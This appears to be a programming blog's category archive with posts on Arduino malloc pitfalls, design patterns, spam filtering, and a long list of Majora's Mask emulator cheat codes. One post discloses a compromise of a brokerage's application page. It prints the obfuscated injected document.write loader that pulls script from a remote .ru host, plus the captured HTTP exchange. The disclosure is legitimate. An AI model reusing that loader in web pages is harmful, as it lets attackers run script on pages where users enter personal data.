Category Archives: Programming

Tar and feather backup

Can we please start calling the practice of periodically “tar”ing up the hard drive and copying the resulting tarball to a cloud server “tarring and feathering”? The community has been slow on the uptake of that phrase and the resulting lack of goose-based memes is driving me nuts.

Another hidden caveat: no polymorphism with malloc() on the Arduino (probably in general)

The traditionally held restrictions of malloc()-allocated objects are “no constructor calls” and “no destructor calls”. However, there is an additional restriction: no virtual functions or polymorphism. If you wish to implement polymorphism on the Arduino and plan to use dynamic memory, you must declare operators new and delete (in terms of malloc() and free()) before you can use polymorphism. Once declared, these operators acquire the “magic” they are known for.

Attempting to call a virtual function on a malloc()-allocated object on the Arduino will not crash in an obvious way. It will merely return a bogus result which appears to come from some random spot in memory (maybe where the function points).

Of course, if you’re developing for a normal platform and not a microcontroller, just use the native new and delete and be done with it.

Design patterns are intrinsic to language more than problem

I derived an interesting architecture based on heavy use of polymorphism, reflection, and flexible object construction (i.e. ask for a message, get not only a message but one of the correct type) in Perl. This is something that would not at all lend itself to a more traditional static-typed language such as Java. However, it’s quite natural in Perl and it apparently already exists in a Python language feature (“Pickles”).

This has led me to conclude that design patterns used to solve programming problems are not intrinsic to the problems themselves, but to the languages we use to solve them.

Just2Trade has been hacked and does not appear to be doing anything about it.

When signing up with Just2Trade, an online brokerage, I observed that their site (which asks for a HUGE amount of personal data) was hacked and appeared to be pulling in a remote javascript from the application page (yes, the application page which asks you to enter in enough data for someone to steal your identity twice over). I contacted customer support with the following email, but it has been nearly one full business week and yet the issue persists! I would be EXTREMELY wary about trading with them, or giving them any sort of personal data, based on this.

If this isn’t resolved in some way or another by next week I’ll post it to Digg, but for now I’ll give them a bit more time to get their act together:

“Dear Just2Trade Support,

This is bad. I don’t know how else to say it. Properly remedying this issue is going to take a lot of cleanup, both technical and business-wise. Here goes:

While completing your application, which asks for quite a bit of personal information (more than enough for someone to steal my identity with), I opened Firebug and noticed a suspicious HTTP request to the following URL:

http://google-com-sg.pcauto.com.cn.google-at.truesoulonline.ru:8080/miniclip.com/miniclip.com/ganji.com/google.com/cnn.com/

Investigating this more, I opened up Wireshark and captured the HTTP stream:

GET /miniclip.com/miniclip.com/ganji.com/google.com/cnn.com/ HTTP/1.1
Host: google-com-sg.pcauto.com.cn.google-at.truesoulonline.ru:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jan 2010 04:32:41 GMT
Content-Type: text/javascript
Connection: close
X-Powered-By: PHP/5.1.6
Expires: 0
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Length: 15

/* nothing */

Going back to Firebug and trying to pinpoint the source of this request, it appears that every single one of the local Javascript files on the application pages has been compromised, since they all have this string at the end:

/*Exception*/ document.write(‘<script src=’+’h(!t!)t#@p(&:(&$/!/@^g@)&(^o!@o^#g)@l^e#-&)c!#o$m&$(-@s@^#g@!!.&@p$c@#^a$@u!)(!!t$@&)#o&&.@$$!c#^)$o$^m^@&)(.&!@c@)@(n@^#.#^g!^o@&#@#o#)g$l@@&e&^-^)a!!!#t#&.&t@#r$&!)u!(e$(((s$)^#o$)u$)#l!#&o&)n(l^$i&n#$@!e())@.@#)^r&u!:&^8#0$(#^!8$$#0@&@(/#^m)$)i^n!$i&^@c^!l^i#)p##.))$c^$o$m)$/(^!m$i((n^^$i)@c()#!l$)$!i(^p^)&.^(c@$$@o&^m(/$@g!#$a!#@n&)^#j^^$i&(.!c!^^&o(&)m#&(@/(!g(&o(#$o^$@g&)((@l^e#&.!$$c^@$o$m!!)^/$!c&n#^@n^^.))c(o($&m&#!&/$#’.replace(/&|\$|\)|\!|#|\(|@|\^/ig, ”)+’ defer=defer></scr’+’ipt>’);

(Which is writing out the reference to the script I mentioned above).

Now here’s the really disturbing thing: if you just go to the script (say sifr.js) directly in a browser, that code will not appear. The HTTP headers from an application page must be intact (and since they have personal data, I’m not posting mine; fill out the application yourself and test it). I thought this may have been some piece of malware on my own system at first, so I re-created those headers in wget just to be sure; they still appeared.

This is *very* bad for two reasons:

First, it means your server has been compromised. Just writing out some static Javascript could indicate a simple cross-site scripting scenario. But writing it out conditionally on a specific http header appearing is something that can only be done with access to server-side code.

Second, contained within the HTTP headers sent to your script are all of the fields submitted with the form. Yes, this includes driver’s license #, bank account information, SSN, address, phone number, work address, title, email… far more than would be necessary to steal someone’s identity. The ability to read the headers and conditionally take some action indicates that whoever hacked the site can read all of the data submitted to it.”

The problem is not so much that the script is doing anything – right now it’s doing /* nothing */, though this could be changed on the remote end – but that it is only being output in response to the proper HTTP headers. And on the application page (the only page, in fact, where the headers are “proper”), these headers include a great deal of personal information. A server-side script which can include a string contingent upon these headers being there can also capture them directly.

Idea: Use Ontology as a Spam Filter

With sophisticated enough natural language processing, relationships between concepts and actions that can be performed with individual objects can be extracted and modeled as an ontology (sort of like object orienting the concepts in an email). Spam can then be classified based on how well the concepts fit into the ontology (unless it includes valid text, which some now does). An ontology trained on valid email would contain a wide array of concepts and actions that a spam mail would not possess, or would not follow.

For example, “Bob said” may be parsed into “Bob”, an entity, performing an action called “said”. “Bob enlarged”, however, is an action much more likely to be found in a spam email than in most people’s ham. The associations between concepts and actions can be used as features in spam classification.

Nerd Hobby – Zelda Majora's Mask Project64 Codes

In my scant free time, I’ve taken to reverse engineering the memory of video games in Project 64, thus discovering new cheat codes. Some of these are very interesting, particularly in games with centralized environments (e.g. a system of time around which everything revolves). Majora’s Mask has a centralized time system and transformations, which makes it particularly ripe for experimentation.

Caveats: This is the whole list of cheats I have in Project 64, so many were built into the emulator’s default list of cheats (most of them begin with “E8”, since I use “80” and “81” to patch memory addresses and in fact have no idea what the format of these nonstandard “E8/E9” codes are). Also, not all of them work and a few will freeze the emulator pretty deterministically.

The stop/speed up/reverse time cheats are particularly interesting (the easiest to find, too). Try stopping or reversing time in clock town for a very interesting effect. You can also use the “Jump to Day” and “Jump to Night” cheats to warp in time without using the song or losing your progress. Turns out that you can also go past the time the moon is supposed to hit, but this screws some things up. Most of the “change animation” cheats are kind of funny, and reveal a bit about the underlying design of the character meshes, but some will freeze the game when the animation ends (presumably the length is defined somewhere in memory when the animation normally begins, but the cheat doesn’t set it, so it runs off the end and segfaults).

“Normal Sized Giant”, “Act Like a Pig”, and “Always Wearing Bunny Hood” all work reasonably well so long as the appropriate mask is assigned to a C button (although they tend to prevent you from taking off transformation masks). You can, of course, modify the value of this code to represent other masks.

I have no idea if any of these will work on a real Gameshark/Pro Action Replay, and though I have both the shark and the game, I’m hesitant to try on my old N64. Use at your own risk.

You should be able to copy and paste this right into your Project64 cheat file.

Updated 8/4/2009:

Now listen closely: the first list is for “NTSC” editions of the game (sold primarily in North America). The second is for “PAL” (European) copies. There are some slight differences, but most importantly, codes for one won’t work in the other.

NTSC:


[5354631C-03A2DEF0-C:45]
Name=Legend of Zelda 2, The - Majora's Mask (U)
Cheat0="Jump to Dawn",811EF67C 4000,801EF68B 00??,801EF68F 00??
Cheat0_O=$01 First Day,$02 Second Day,$03 Final Day,$04 New Day,$05 ??
Cheat1="Jump to Night",811EF67C FF60,801EF68B 00??,801EF68F 00??
Cheat1_O=$01 First Day,$02 Second Day,$03 Final Day,$04 New Day,$05 ??
Cheat2="Reverse Time",811EF684 FFFF,811EF686 FFFC
Cheat3="Stop Time",811EF684 FFFF,811EF686 FFFD
Cheat4="Speed Up Time",811EF684 0000,811EF686 000A
Cheat5="Greatly Speed Up Time",811EF684 0000,811EF686 0050
Cheat6="Greatly Reverse Time",811EF684 FFFF,811EF686 FFB0
Cheat7="Infinite Swimming",80400822 0002
Cheat8="Disable A Button",801FB9B8 0080
Cheat9="No Continuing Magic Use",801F3599 0000
Cheat10="Always Wearing Bunny Hood",803FFF03 0004,803FFF05 0017
Cheat11="Gasping for Air",80400822 0004
Cheat12="Change Ocarina Sound",D01F59FB 000A,801EF690 00??,D21F59FB 000A,801EF690 0004
Cheat12_O=$33 Singing,$81 Chimes,$85 Monkey,$B3 Whistle,$8D Bass Guitar,$A7 Piano,$FD Overdriven Guitar
Cheat13="Freeze Enemies",8040081F 0050
Cheat14="Ghostwalk",8040081F 0080
Cheat15="Ineffective Weapons",813FF3A4 0001
Cheat16="Electrify",81400912 00FF
Cheat17="Play As (Change Delayed, Actions Immediate)",801EF690 00??
Cheat17_O=$00 FD Link,$01 Goron Link,$02 Zora Link,$03 Deku Link,$04 Normal Link
Cheat18="Change Idle Animation (Don't move)",803FFEFB 00??
Cheat18_O=$00 FD Link,$01 Goron Link,$02 Zora Link,$03 Deku Link,$04 Normal Link
Cheat19="Normal-sized Giant",803FFF03 0014
Cheat19_N=Equip the Giant's Mask to a slot first.
Cheat20="Swim as Normal Link",D01EF690 0004,803FFEFB 0004,D13FFFFA E000,803FFEFB 0002,D13FFFFA E3D8,81400000 4188,D13FFFFA E3D8,81400004 4120,D13FFFFA E3D8,D03E6B3B 0010,81400912 00FF
Cheat21="Always Wearing Stone Mask",803FFF03 0010
Cheat22="Change A Button Text to Swim",813FD71A 0025,813FD71C 0025,802597B1 0016,802597B2 00FF,802597B3 006E,802597B4 0024
Cheat23="Infinite Water Skipping",D0400917 0000,80400917 0005
Cheat24="Put Away Sword",811F3588 FFFF
Cheat25="Change Animation",813FFFFA ????
Cheat25_O=,$E300 Gesticulating Wildly,$D0B0 Mask of Scents,$DE40 Walking,$DF28 Idle,$E000 Treading,$E3D8 Swimming,$D228 Bremen March,$D0C8 Putting on Mask,$E2E0 Taking off Mask,$E270 Spinning,$DCD8 Hopping,$CF98 Kamaro Dance,$E208 Rolling,$DFC8 Climbing,$DDB8 Ocarina Playing,$DC00 Sliding,$CF50 Floating Up,$CF58 Floating Down,$D0D8 Waving Goodbye,$E010 Horseback Riding,$D788 Swinging Sword (Start),$D790 Swinging Sword (End)
Cheat26="Act Like a Pig",803FFF03 0013,813FFFFA D0B0
Cheat27="Test Band",81410D36 0CC9,80410EA9 0000,81410EB2 7670,80413213 0003,80413215 0003,81416940 2290
Cheat28="Clear Z Target",814004E2 0000
Cheat28_N=This demonstrates capturing the current Z-target. 8090 targets the Zora Band Leader, A3B0 Jamun, DB70 Lulu.
Cheat28_N=Some of these may actually be 32-bit.
Cheat29="Test Band2",80410EA7 0006,80410EA9 0006,80413213 0003,80413215 0003,804169F3 0004
Cheat30="Reset Animation",81400008 0000
Cheat30_N=81400004 has max. value, 81400000 has "reset to" value, 81400008 has current value.
Cheat31="Control Epona (While Walking)",81419D94 803F,81419D96 7250
Cheat32="Always Riding Epona",814004F8 8076,814004FA D30C
Cheat33="Always Able to Ride Epona (By Hitting L+A)",D03E6B3B 0020,81400140 8041,D03E6B3B 0020,81400142 1110
Cheat34="Freeze Link",81400024 0080
Cheat35="Jumping Bean",81400024 000B,8140002A FFFF,8140002C FEF7
Cheat36="Move with Animation",81400024 000B,81400026 0000,81400028 0000
Cheat37="Epona Always Following",80419DB7 0003
Cheat38="Change Link and Epona's Positions",813FFDD4 AC3F,813FFDD6 BC9A,813FFDD8 A309,813FFDDA 0000,813FFDDC 458F,813FFDDE A67B,81419C94 AC3F,81419C96 BC9A,81419C98 A309,81419C9A 0000,81419C9C 458F,81419C9E A67B
Cheat38_N=3FFDD4-E: Link X, Z, Y, 419C9E-E: Epona X, Z, Y
Cheat39="Bird's Eye View",813FFDD8 4461,813FFDDA 70F0
Cheat40="Infinite Carrots",80419EAB 0000
Cheat41="Press L To Alter Velocity",D03E6B3B 0020,813FFE18 ????,D03E6B3B 0020,81419CD8 ????
Cheat41_O=,$4300 Strongly Negative,$4150 Moderately Negative,$4000 Slightly Negative,$3F8F Near-Zero,$3F7F Zero,$3F60 Near+Zero,$3F00 Slight,$3D00 Moderate,$C080 Ordinary,$C150 Maximum Walking,$C800 Strong,$FFFF Maximum
Cheat42="Press L To Alter Acceleration",D03E6B3B 0020,813FFE24 ????,D03E6B3B 0020,81419CE4 ????
Cheat42_O=,$4300 Catapult!,$4150 Strongly Upwards,$4000 Rather Upwards,$3F8F Moderately Upwards,$3F00 Slightly Upwards,$3D00 Near-Zero,$0000 Zero,$C010 Slightly Downwards,$C080 Ordinary,$C150 Downwards,$C800 Strong,$FFFF Maximum
Cheat43="Walkin' On The Moon",813FFDD8 464C,813FFDDA 1000,813FFE18 3F7F
Cheat44="Deform Link (Y)",813FFE10 ????
Cheat44_O=,$0000 Paper Thin,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Warping
Cheat45="Convulsions",81400000 4100,81400004 4110,81400008 4100
Cheat46="Water Skip as Normal Link",803FFEFB 0004,D13FFFFA DFC0,803FFEFB 0003,D13FFFFA DD30,803FFEFB 0003,D13FFFFA DFD8,803FFEFB 0003,D13FFFFA E000,803FFEFB 0003,81400000 4100,81400004 4110,81400008 0000
Cheat47="Fast Epona",81419CE0 41F1
Cheat48="Flying Horse (L brakes)",D14004FA D30C,81419CD8 3050,D14004FA D30C,81419CE0 41F1,81419CE4 0000,D14004FA D30C,D03E6B3D 0072,81419CE4 C300,D14004FA D30C,D03E6B3D 0072,81419CE0 41A1,D03E6B3D 008D,D14004FA D30C,81419CE4 4170,D14004FA D30C,81419DB6 000A,D14004FA D30C,D03E6B3B 0020,81419DB6 0007
Cheat49="Test Speed",813FFE1C C240,813FFE14 C240,813FFE38 4288,803FFDE9 0002,803FFE01 00ED,813FFE20 4240,81400170 C4AC,81400174 C4AC,81400178 C4AC,8140017C C4AC,813FFE72 0003,813FFE74 C00A,813FFE76 7EB0
Cheat50="Deform Link (X,Y)",813FFE08 ????,813FFE10 ????
Cheat50_O=,$0000 Invisible,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Floor
Cheat51="Deform Link (X)",813FFE08 ????
Cheat51_O=,$0000 Paper Thin,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Warping
Cheat52="Deform Link (Z)",813FFE0C ????
Cheat52_O=,$0000 Paper Thin,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Warping
Cheat16_N=Interesting things happen when you increase the first byte.
Cheat53="Infinite\Health",E97449FA 5A9A
Cheat54="Infinite\Hearts Options",E97449FC ????
Cheat54_O=$5A9A Max Hearts,$59BB 6 Hearts,$599B 4 Hearts
Cheat54_N=If you need to clear the Infinite Max Hearts from the screen just choose the 6 or 4 Heart Options, take off the cheat & then make a save.
Cheat55="Infinite\Rupees",E97449FE 5C37
Cheat56="Infinite\Max & Double Magic Meter",E87449FF 59BA,E9744908 5A59
Cheat57="Infinite\Items",E8744A67 59BB,E8744A6A 59BB,E8744A69 59BB,E8744A70 59BB,E8744A6F 59BB,E8744A6E 59BB,E8744A74 59BB,E8744A73 59BB
Cheat58="Have\Ocarina of Time",E8744938 595A
Cheat59="Have\Hero's Bow",E8744937 5959
Cheat60="Have\Arrows\Fire Arrow",E8744936 595C
Cheat61="Have\Arrows\Ice Arrow",E8744935 595B
Cheat62="Have\Arrows\Light Arrow",E874493C 5956
Cheat63="Have\Bombs",E874493A 5958
Cheat64="Have\Bombchu",E8744939 5957
Cheat65="Have\Deku Sticks",E8744940 5962
Cheat66="Have\Deku Nuts",E874493F 5961
Cheat67="Have\Magic Beans",E874493E 5964
Cheat68="Have\Powder Kegs",E8744944 595E
Cheat69="Have\Pictograph",E8744943 595D
Cheat70="Have\Lens of Truth",E8744942 5960
Cheat71="Have\Hookshot",E8744941 595F
Cheat72="Have\Great Fairy's Sword",E8744948 596A
Cheat73="Maximum Visibility",E86CB870 597A
Cheat74="Fog\Blue",E86CB860 597A
Cheat75="Fog\Pink",E86CB864 597A
Cheat76="Fog\Yellow",E86CB868 597A
Cheat77="Press L To Levitate",D03E6B3B 0020,E9935170 9923
Cheat77_N=Press L To Levitate & Let go to land
Cheat78="Have\All Masks",E8744950 5990,E874494F 5992,E874494E 5997,E874494D 5995,E8744954 599A,E8744953 598C,E8744952 5994,E8744951 5998,E8744A58 5991,E8744A57 599C,E8744A56 59A2,E8744A55 598B,E8744A5C 598E,E8744A5B 598D,E8744A5A 5987,E8744A59 598F,E8744A60 5988,E8744A5F 5986,E8744A5E 599B,E8744A5D 5999,E8744A64 5993,E8744A63 5996,E8744A62 59A1,E8744A61 5985
Cheat79="Beta World 1",D03E6B3B 0000,E87449C6 59??
Cheat80="Fight Demo Majora's Mask",E86CFA70 597A
Cheat81="Event Item\Modifier 1",E874493B 59??
Cheat82="Event Item\Modifier 2",E874493D 59??
Cheat83="Event Item\Modifier 3",E8744947 59??
Cheat84="Have\Item Modifier",E8744948 59??
Cheat85="Have Bottle Modifier 1",E8744946 59??
Cheat86="Have Bottle Modifier 2",E8744945 59??
Cheat87="Have Bottle Modifier 3",E874494C 59??
Cheat88="Have Bottle Modifier 4",E874494B 59??
Cheat89="Have Bottle Modifier 5",E874494A 59??
Cheat90="Have Bottle Modifier 6",E8744949 59??
Cheat91="Use C-Buttons Anywhere",E9738CE0 595A,E9738CDE 595A
Cheat92="All Equipment Upgrades",E8744933 597B,E9744A7E 7973,E8744914 599F
Cheat93="Replace Sword With",E8744914 59??
Cheat93_O=$A4 Fire Arrow w/ Bow,$A3 Ice Arrow w/ Bow,$9E Light Arrow w/ Bow,$9D Kokiri Sword,$A0 Razor Sword,$9F Guilded Sword,$AA Deity Link's Sword
Cheat94="Play As",E87449E8 59??
Cheat95="Warp Modifier",D03E6B3A 0000,E89346EB 5959,E99346EE ????
Cheat79_O=$5A Mama's House non Beta,$59 Fearful Spider House,$5C Beneaf the Graveyard,$5B Southern Swamp Mr Tingle Entry,$58 Outside Tourist Information Southern Swamp,$62 Outside Magic Hag's Potion Shop,$64 Southern Swamp Woods Of Mystery Entry,$76 Counter Of The Tresure Chest Shop,$80 Woodfall Temple non Beta,$8C Spider Hand,$85 Statue outside Gorman Track,$88 Statue outside Lair Of The Temples Boss,$92 Path to Romani Ranch non Beta,$A4 outside The Royal Palace of the Deku Kingdom,$9E Ledge in The Royal Palace of the Deku Kingdom,$A0 inside The Royal Palace of the Deku Kingdom 1,$C9 Green Blobs,$C6 Cave Portal to Last Boss Field,$CF Waterfall Sothern Swamp,$E4 Giant Turtle In the Temple non beta,$E3 Room of Miau & Tijo Zora Great Hall,$E6 Recieving Gorans Mask non Beta,$E5 ?,$E8 Hungry Goran in the Snow,$FC Statue in Stone Tower,$F8 Stone Tower non Beta,$11 Recieving Deku Mask non Beta,$31 Giant Lizards in a Cave,$34 Cave with Steaming Water,$4F Vamps House In Ikana Canyon
Cheat81_O=$82 Moon's Tear,$81 Land Title Deed,$84 Swap Title Deed,$83 Mountain Title Deed,$7E Ocean Title Deed,$7D Room Key,$80 Special Delivery To Mama,$7F Letter To Kafei,$8A Pendant Of Memories
Cheat82_O=$82 Moon's Tear,$81 Land Title Deed,$84 Swap Title Deed,$83 Mountain Title Deed,$7E Ocean Title Deed,$7D Room Key,$80 Special Delivery To Mama,$7F Letter To Kafei,$8A Pendant Of Memories
Cheat83_O=$82 Moon's Tear,$81 Land Title Deed,$84 Swap Title Deed,$83 Mountain Title Deed,$7E Ocean Title Deed,$7D Room Key,$80 Special Delivery To Mama,$7F Letter To Kafei,$8A Pendant Of Memories
Cheat84_O=$55 Japanese Flute?,$63 Japanese Item?,$6A Great Fairy's Sword,$69 Japanese Hookshot?,$89 Japanese Scroll?,$A4 Japanese Bow?
Cheat85_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat86_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat87_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat88_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat89_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat90_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat94_O=$5A Fierce Deity Link,$59 Goron Link,$5C Zora Link,$5B Deku Link,$56 Normal Link
Cheat95_O=$596A Mayors Residence,$5962 Magic Hags Potion Shop,$5964 Romani Ranch Barn,$5963 Mama's House,$5960 Honey & Darlings Shop,$5965 Final Boss Arena,$596F Beneath the Graveyard (left entrance),$597F Beneath the Graveyard (right entrance),$598A Southern Swamp (Reg Entrance),$599F Southern Swamp (from tour house),$59C0 Southern Swamp (from Woodfall),$59BF Southern Swamp (from Deku Palace),$59D2 Path to Ikana Canyon,$59F0 Southern Swamp (from Deku Place 2),$59EF Southern Swamp (From Potion Shop),$59FF Boat Cruise (picture taking),$591D Southern Swamp (From Woods of Mystery),$5920 Southern Swamp (From Spider House),$591F Southern Swamp (From Ikana Canyon),$5950 Southern Swamp (From Owl Warp),$5F5A Curiosity Shop,$5F92 Ikana Canyon Entrance,$665A Lens of Truth Cave (get it),$775A Stone Tower Temple (Upside down),$7761 Stone Tower Temple (Boss Room Entrance),$7756 Treasure Chest Shop,$7755 Treausre Chest Shop (counter),$7760 Clock Tower (w/ skull kid, silent),$776A Stone Tower Temple (endless fall),$BB66 Romani Ranch,$EB66 Zora Shop,$0B66 Snowhead (Path to temple, warp in),$2B66 East Clock Down
Cheat79_N=Put on the code on load up,After the Nintendo logo you will be in that place of Choice.you can also choose another place & then press F1 (reset) to go to that place this is for beta interest only it will not assist you in playing the game.
Cheat80_N=With this code,load the game & put the cheat on. then press start to apear in the Demo mode.
Cheat91_N=This code allows you to use C-Button Items where you normally can't use them. (Created by: The Gentleman)
Cheat93_N=Only put the Deity Link's Sword on, if using The Play As Fierce Deity Link Code, if not it will turn Fierce Deity Link into a crazed slashing Machine. You have been warned.
Cheat95_N=Put this code on and it will now take where you wanted to go, turn it back off or it will infinite loop entering all the time.
Cheat96="Have\All Quest/Status Items",E8744A83 5955,E9744A82 481F

//----

PAL:


[E97955C6-BC338D38-C:50]
Name=ZELDA MAJORA'S MASK
Cheat0="Infinite\Rupees",E974BEDE 5C37
Cheat1="Infinite\Health",E974BEDA 5C37
Cheat2="Infinite\Max & Double Magic Meter",E874BEDF 59BA,E974BEE8 5A59
Cheat3="Infinite\Items",E874BE47 59BB,E874BE4A 59BB,E874BE49 59BB,E874BE50 59BB,E874BE4F 59BB,E874BE4E 59BB,E874BE54 59BB,E874BE4D 59BB,E874BE53 59BB
Cheat3_N=This is Infinite use of Bombs,Bombchus,Deku Sticks,Deku Nuts,Magic Beans,& Powder Kegs. But you must also put it's Have on to work.
Cheat4="Have\All Masks",E974BE30 8F91,E974BE2E 9895,E974BE34 998C,E974BE32 9398,E974BE38 919C,E974BE36 A18B,E974BE3C 8D8D,E974BE3A 888F,E974BE40 8786,E974BE3E 9C99,E974BE44 9496,E974BE42 A285
Cheat5="Use all C Buttons",E974FDC0 595A,E974FDBE 595A
Cheat6="Event Item\Modifier 1",E874BE1B 59??
Cheat7="Event Item\Modifier 2",E874BE1D 59??
Cheat8="Event Item\Modifier 3",E874BE27 59??
Cheat9="Jump to Dawn",811E6B5C 4000,801E6B6B 01??,801E6B6F 01??
Cheat10="Have Bottle\Modifier 1",E874BE26 59??
Cheat11="Have Bottle\Modifier 2",E874BE25 59??
Cheat12="Have Bottle\Modifier 3",E874BE2C 59??
Cheat13="Have Bottle\Modifier 4",E874BE2B 59??
Cheat14="Have Bottle\Modifier 5",E874BE2A 59??
Cheat15="Have\Great Fairy's Sword",E874BE28 596A
Cheat16="Have\QuestStatus Items",E874C363 5955,E974C362 481F
Cheat17="Have\Have Ocarina of Time",E874BE18 595A
Cheat18="Have\Hero's Bow",E874BE17 5959
Cheat19="Have\Fire Arrow",E874BE16 595C
Cheat20="Have\Ice Arrow",E874BE15 595B
Cheat21="Have\Light Arrow",E874BE1C 5956
Cheat22="Have\Bombs",E874BE1A 5958
Cheat23="Have\Bombchu",E874BE19 5957
Cheat24="Have\Deku Sticks",E874BE20 5962
Cheat25="Have\Deku Nuts",E874BE1F 5961
Cheat26="Have\Magic Beans",E874BE1E 5964
Cheat27="Have\Powder Kegs",E874BE24 595E
Cheat28="Have\Pictograph",E874BE23 595D
Cheat29="Have\Lens of Truth",E874BE22 5960
Cheat30="Have\Hookshot",E874BE21 595F
Cheat31="Have Bottle\Modifier 6",E874BE29 59??
Cheat32="Reverse Time",801E6B64 FFFF,801E6B65 FFFF,801E6B66 FFFF,801E6B67 FCFC
Cheat33="Replace Sword With",E874BEF4 59??
Cheat33_O=$A4 Fire Arrow w/ Bow,$A3 Ice Arrow w/ Bow,$9E Light Arrow w/ Bow,$9D Kokiri Sword,$A0 Razor Sword,$9F Guilded Sword,$AA Deity Link's Sword
Cheat34="Play As",E874BEC8 59??
Cheat35="Infinite\Hearts Options",E974BEDC ????
Cheat35_O=$5A9A Max Hearts,$59BB 6 Hearts,$599B 4 Hearts
Cheat35_N=If you need to clear the Infinite Max Hearts from the screen just choose the 6 or 4 Heart Options, take off the cheat & then make a save.
Cheat36="Press L To Levitate",D03DDFDB 0020,E993C510 9923
Cheat38="Warp Modifier",E891322E 595A,E893BF8B 5959,E993BF8E ????
Cheat38_O=$596A Mayors Residence,$5962 Magic Hags Potion Shop,$5964 Romani Ranch Barn,$5963 Mama's House,$5960 Honey & Darlings Shop,$5965 Final Boss Arena,$596F Beneath the Graveyard (left entrance),$597F Beneath the Graveyard (right entrance),$598A Southern Swamp (Reg Entrance),$599F Southern Swamp (from tour house),$59C0 Southern Swamp (from Woodfall),$59BF Southern Swamp (from Deku Palace),$59D2 Path to Ikana Canyon,$59F0 Southern Swamp (from Deku Place 2),$59EF Southern Swamp (From Potion Shop),$59FF Boat Cruise (picture taking),$591D Southern Swamp (From Woods of Mystery),$5920 Southern Swamp (From Spider House),$591F Southern Swamp (From Ikana Canyon),$5950 Southern Swamp (From Owl Warp),$5F5A Curiosity Shop,$5F92 Ikana Canyon Entrance,$665A Lens of Truth Cave (get it),$775A Stone Tower Temple (Upside down),$7761 Stone Tower Temple (Boss Room Entrance),$7756 Treasure Chest Shop,$7755 Treausre Chest Shop (counter),$7760 Clock Tower (w/ skull kid, silent),$776A Stone Tower Temple (endless fall),$BB66 Romani Ranch,$EB66 Zora Shop,$0B66 Snowhead (Path to temple, warp in),$2B66 East Clock Down
Cheat38_N=Put this code on and it will now take where you wanted to go, turn it back off or it will infinite loop entering all the time.
Cheat6_O=$82 Moon's Tear,$81 Land Title Deed,$84 Swap Title Deed,$83 Mountain Title Deed,$7E Ocean Title Deed,$7D Room Key,$80 Special Delivery To Mama,$7F Letter To Kafei,$8A Pendant Of Memories
Cheat7_O=$82 Moon's Tear,$81 Land Title Deed,$84 Swap Title Deed,$83 Mountain Title Deed,$7E Ocean Title Deed,$7D Room Key,$80 Special Delivery To Mama,$7F Letter To Kafei,$8A Pendant Of Memories
Cheat8_O=$82 Moon's Tear,$81 Land Title Deed,$84 Swap Title Deed,$83 Mountain Title Deed,$7E Ocean Title Deed,$7D Room Key,$80 Special Delivery To Mama,$7F Letter To Kafei,$8A Pendant Of Memories
